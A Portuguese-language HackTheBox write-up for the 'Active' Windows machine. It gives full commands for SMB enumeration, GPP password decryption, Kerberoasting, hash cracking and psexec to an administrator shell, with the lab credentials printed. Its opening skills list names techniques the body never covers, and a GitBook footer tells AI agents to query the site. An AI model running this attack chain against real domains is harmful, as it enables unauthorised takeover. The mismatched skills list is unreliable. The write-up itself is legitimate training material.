> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/active-hackthebox-writeup.md).

# Relato do HackTheBox Active

{% embed url="<https://app.hackthebox.com/machines/148>" %}

{% hint style="warning" %}
**Habilidades**:

* Enumeração SMB
* Quebrando arquivo protegido por senha ZIP (fcrackzip)
* Quebrando e lendo arquivo .PFX (crackpkcs12)
* Obtendo acesso SSL com Evil-WinRM
* Vazamento de informações - Lendo o histórico do Powershell do usuário (Pivotação de Usuário)
* Abusando do LAPS para obter senhas (Get-LAPSPasswords.ps1) (Escalada de Privilégio)
  {% endhint %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="/files/d0685c16c8208228e039dd5e318d338489ad9b13" alt=""><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

<figure><img src="/files/a1a2852e4951f2b59c1e59f789d91b91c79e60a5" alt=""><figcaption></figcaption></figure>

**Descoberta de portas abertas com Nmap:**/ Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.100 -oG allPorts
```

<figure><img src="/files/92d605e9e3825eeb3da54ab74a8528701444ef72" alt=""><figcaption></figcaption></figure>

**Análise das portas abertas com extractport:**/ Usando a função extractport para exibir de forma concisa as portas abertas e copiá-las para a área de transferência.

<div data-full-width="true"><figure><img src="/files/d1c56dd836e2337a99af667654d76c59c7d7e4fc" alt=""><figcaption></figcaption></figure></div>

**Varredura de versão das portas com Nmap:**/ Use o Nmap para escanear as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,49158,49165,49168,49173 10.10.10.100 -oN targeted
```

<figure><img src="/files/3c2ad0f4dc33328713759791042725b2d5419c06" alt=""><figcaption></figcaption></figure>

## **Enumeração e Exploração:**

### **Enumeração SMB:**

Use o crackmapexec para listar sistemas e encontrar o nome do domínio.

```bash
crackmapexec smb 10.10.10.100
```

<figure><img src="/files/64cc53d1576a3b83ec0058403a047ff920988d25" alt=""><figcaption></figcaption></figure>

#### **Ajuste de horário com NTP:**

Ajuste o horário da máquina alvo para evitar problemas

```bash
ntpdate 10.10.10.100
```

<figure><img src="/files/b4d43dee694aa079760f48f4ebacb22d37ce2c22" alt=""><figcaption></figcaption></figure>

#### Configuração /etc/hosts:

Controlador de Domínio adicionado ao arquivo hosts para permitir ping:

<figure><img src="/files/bd2bbea8ea3712eccd8221992ddcf2f07a46c973" alt=""><figcaption></figcaption></figure>

### **Listando Recursos Compartilhados**

Use smbclient ou smbmap para explorar recursos compartilhados na rede.

```bash
smbclient -L 10.10.10.100 -N
```

<figure><img src="/files/e7103025e77a6d789a8754fe33442525551a3d77" alt=""><figcaption></figcaption></figure>

```bash
smbmap -H 10.10.10.100
```

<figure><img src="/files/67db3a82ca0217d123021a363bb2ccd895af90bb" alt=""><figcaption></figcaption></figure>

### **Buscar Arquivos Específicos**:

Explore os diretórios em busca de arquivos relevantes

```bash
smbmap -H 10.10.10.100 -r Replication
```

<figure><img src="/files/61fb2b3c7f87ce4f66ec2b6460b77e85dc4f4d2d" alt=""><figcaption></figcaption></figure>

```bash
smbmap -H 10.10.10.100 -r Replication/active.htb
```

<figure><img src="/files/034089baebdb22b09e1e78194f4273ee9b12fb11" alt=""><figcaption></figcaption></figure>

O `groups.xml` arquivo é identificado e pode conter informações confidenciais.

```bash
smbmap -H 10.10.10.100 --download Replication/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml
```

<div data-full-width="true"><figure><img src="/files/62b213dba7153cba0d622ef80a591212e10829c9" alt=""><figcaption></figcaption></figure></div>

<div data-full-width="true"><figure><img src="/files/23629ebdb06f138594cd66bec7ae4a9140639596" alt=""><figcaption></figcaption></figure></div>

### **Descriptografia da senha:**

Use `gpp-decrypt` para descriptografar senhas armazenadas.

```bash
gpp-decrypt 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ'
```

<figure><img src="/files/a00dd040182ea78b8dcad0687a11039521f6ff6b" alt=""><figcaption></figcaption></figure>

### **Validação de identificadores:**

Use o crackmapexec para verificar se os IDs são válidos

```bash
crackmapexec smb 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18'
```

<figure><img src="/files/77d2f0c5d70ce8e4b71b2cc35765b2116be4d78f" alt=""><figcaption></figcaption></figure>

### **Exploração de Permissões:**

Use crackmapexec e smbmap para explorar permissões em compartilhamentos de rede.

```bash
crackmapexec smb 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --shares
```

<figure><img src="/files/9cc4e37327529c0dd928c2c1216026c6a8df45ed" alt=""><figcaption></figcaption></figure>

### Flag de user.txt obtida:

```bash
smbmap -H 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' -r Users
```

<figure><img src="/files/7f225e9aeab1f452057abc3cb74a0299fcd6f778" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/70331ae36b18a9821b77d1acc4416b3d71f705ef" alt=""><figcaption></figcaption></figure>

### **Login no Controlador de Domínio:**

Usando rpcclient para se conectar ao Controlador de Domínio e explorar usuários e grupos:

```bash
rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100
```

<figure><img src="/files/b63f345be43b6eb53abac5a93b236199eb88e729" alt=""><figcaption></figcaption></figure>

#### - Para identificar os membros do grupo de administradores:

```bash
rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'querygroupmem 0x200'
```

#### - Para obter usuários em um grupo específico:

```bash
rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'queryuser 0x1f4'
```

<figure><img src="/files/79aa2369dff62742201f3c916a8ac3ae9f4b643e" alt=""><figcaption></figcaption></figure>

#### - Para listar as descrições de todos os usuários:

```bash
rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'querydispinfo'
```

<div data-full-width="true"><figure><img src="/files/a375edaf7012655e6cdb16dfd92970a9dbd020db" alt=""><figcaption></figcaption></figure></div>

## Vulnerabilidade [Kerberoast](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/kerberoast):

A vulnerabilidade Kerberoast é explorada com sucesso por meio do seguinte comando:

```bash
GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18
```

Este comando recupera um ticket de serviço Grant-Ticketing Service (TGS) que explora a vulnerabilidade.

Em seguida, para obter um hash de administrador, o parâmetro -request é adicionado ao comando:

```bash
GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -request
```

<figure><img src="/files/4ebade32f732839b6b0c0f47e91bfd6db1bf6fd4" alt=""><figcaption></figcaption></figure>

## **Exploração Final:**

### **Quebra de hash:**

Use o John para tentar quebrar os hashes obtidos.

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

<figure><img src="/files/f545fc0a69f4f8abe393b0017e3434bef0d16dbb" alt=""><figcaption></figcaption></figure>

### **Validação de identificadores:**

Use o crackmapexec para validar as credenciais obtidas

```bash
crackmapexec smb 10.10.10.100 -u 'Administrator' -p 'Ticketmaster1968'
```

<div data-full-width="true"><figure><img src="/files/5db0478a0d6db71c5763567f2978c7305c87273b" alt=""><figcaption></figcaption></figure></div>

### **Execução do Psexec:**

Use psexec.py para obter um shell interativo como administrador.

```bash
psexec.py active.htb/Administrator:Ticketmaster1968@10.10.10.100 cmd.exe
```

<figure><img src="/files/b8350f44aca7b042bf468fd879c9946ba318fe96" alt=""><figcaption></figcaption></figure>

### **Flag Final Obtida:**

Obtenção bem-sucedida da flag final assim que o acesso de administrador é adquirido.

<figure><img src="/files/efa507ecbc6cf5f841110fca8b23cef26c67cdac" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/827bb7eff8e6af9fdf3b56227edd45f8f271752c" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/active-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
